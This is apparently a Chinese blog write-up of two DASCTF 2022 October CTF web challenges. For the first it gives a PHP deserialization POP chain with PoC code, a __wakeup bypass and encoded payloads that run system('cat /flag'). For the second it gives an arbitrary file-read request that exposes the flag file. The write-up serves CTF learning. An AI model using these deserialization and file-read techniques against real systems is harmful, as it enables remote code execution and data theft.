DASCTF2022十月挑战赛部分WP

web1

看题目源码,有4个类,开始的时候看到了fine类里面的call_user_func,最终应该是打进这个地方,另外看到了 secret_code 类里面的hint()函数,所以我的想法路线是先想办法调用出这个hint()函数,然后根据给出的hint进入那个call_user_func,然后就开始找链子,但是最终hint()函数给出的东西真是让我摸不到头脑,就只好不管这个hint直接打进call_user_func进行rce了

secret_code类里面的secret函数可以调用hint函数
secret_code类里面的 show函数可以调用secret_code类里面的secret函数
show类里的__tostring方法可以调用secret_code类里面的 show函数
sorry类里面的__destruct方法里的第一个if可以触发show类里的__tostring方法

sorry是入口类,值得一提的是sorry类里面有一个sleep方法,在进行序列化的时候会调用,而我们需要对hint进行赋值,会把我们赋的值覆盖掉,需要把这个sleep删掉

poc如下:

<?php
class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
}
class show
{
    public $ctf;
    public $time = "Two and a half years";
    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }
}
class sorry
{
    private $name;
    private $password;
    public $hint ;
    public $key;

    public function __construct($name, $password,$hint)
    {
        $this->name = $name;
        $this->password = $password;
        $this->hint = $hint;
    }
    // public function __sleep()
    // {
    //     $this->hint = new secret_code();
    // }
    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }
}

class secret_code
{
    protected $code;
    public function __construct($code)
    {
        $this->code = $code;
    }

    private function show()
    {
        return $this->code->secret;
    }
}
$q=new secret_code('aaa');
$c=new sorry('1','1',new show(new secret_code($q)));
print_r(urlencode(serialize($c)));

payload

pop=O%3A5%3A%22sorry%22%3A4%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A1%3A%221%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22hint%22%3BO%3A4%3A%22show%22%3A2%3A%7Bs%3A3%3A%22ctf%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3Bs%3A3%3A%22aaa%22%3B%7D%7Ds%3A4%3A%22time%22%3Bs%3A20%3A%22Two+and+a+half+years%22%3B%7Ds%3A3%3A%22key%22%3BN%3B%7D

emmmmmm,这周杰伦是hint??难崩

在这里插入图片描述

接下来就尝试直接rce

这里要调用fine类里面的call_user_func函数,就要触发它的invoke方法,貌似有两条路可以走,一条是sorry类里面的get方法、另一条是 secret_code 类里面的call方法

call方法:

在类外部调用一个类中的一个不可访问的方法时,对象方式就出发__call()方法,静态方式就出发__callStatic()方法。

触发__call()或__callStatic()方法时,系统会自动将所调用的那个不可访问的方法的方法名作为第一个参数传入__call()或__callStatic()方法中,而将所调用的不存在的方法传入的参数,作为第二个参数(而且是封装成了一个数组,即每一个元素就是调用不可访问方法时传入的一个桉树)传入__call()和__callStatic()方法中。

也就是说,需要找到一个类似A->B结构的代码,A应赋值为 secret_code 类,B应赋值为fine类,AB需要同时可控

测试如下:

在这里插入图片描述

那么我们就需要走sorry类里面的get方法这个路线

找链子:

sorry类里的get方法可以触发fine类的invoke方法
secret_code类里的show函数可以触发sorry类里的get方法
show类里的tostring方法可以触发secret_code类里的show函数
sorry类里的destruct方法可以触发show类里的tostring方法

poc

<?php


class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
}

class sorry
{
    private $name;
    private $password;
    public $hint;
    public $key;

    public function __construct($name, $password,$hint,$key)
    {
        $this->name = $name;
        $this->password = $password;
        $this->hint=$hint;
        $this->key=$key;
    }


}

class secret_code
{
    protected $code;

    public function __construct($code)
    {
        $this->code=$code;
    }
}

$s = new sorry('aaa','aaa',new show(new secret_code(new sorry('aaa','aaa','aaa',new fine('system','cat /flag')))),'aaa');
echo urlencode(serialize($s));

最后还有一个wakeup需要绕过,不然他会把我们输进去的cmd覆盖并且die掉

__wakeup绕过:

在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。修改序列化字符串中的属性个数 就可以了

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

payload:

O%3A5%3A%22sorry%22%3A5%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A3%3A%22aaa%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A3%3A%22aaa%22%3Bs%3A4%3A%22hint%22%3BO%3A4%3A%22show%22%3A2%3A%7Bs%3A3%3A%22ctf%22%3BO%3A11%3A%22secret_code%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3BO%3A5%3A%22sorry%22%3A4%3A%7Bs%3A11%3A%22%00sorry%00name%22%3Bs%3A3%3A%22aaa%22%3Bs%3A15%3A%22%00sorry%00password%22%3Bs%3A3%3A%22aaa%22%3Bs%3A4%3A%22hint%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22key%22%3BO%3A4%3A%22fine%22%3A2%3A%7Bs%3A9%3A%22%00fine%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00fine%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7Ds%3A4%3A%22time%22%3Bs%3A20%3A%22Two+and+a+half+years%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A3%3A%22aaa%22%3B%7D

在这里插入图片描述

web2

这个地方的逻辑会把传过去的文件名的相应文件内容变成base64图片输出出来,实际上可以任意文件读取

在这里插入图片描述

http://166076ee-6d8a-4624-a63c-90b72f24dcff.node4.buuoj.cn:81/file.php?m=show&filename=/start.sh

解base64

#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null

再读flag

http://166076ee-6d8a-4624-a63c-90b72f24dcff.node4.buuoj.cn:81/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc

解base64

DASCTF{18bdc44b-2a99-4da9-b60d-6d30d3c1fdf5}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值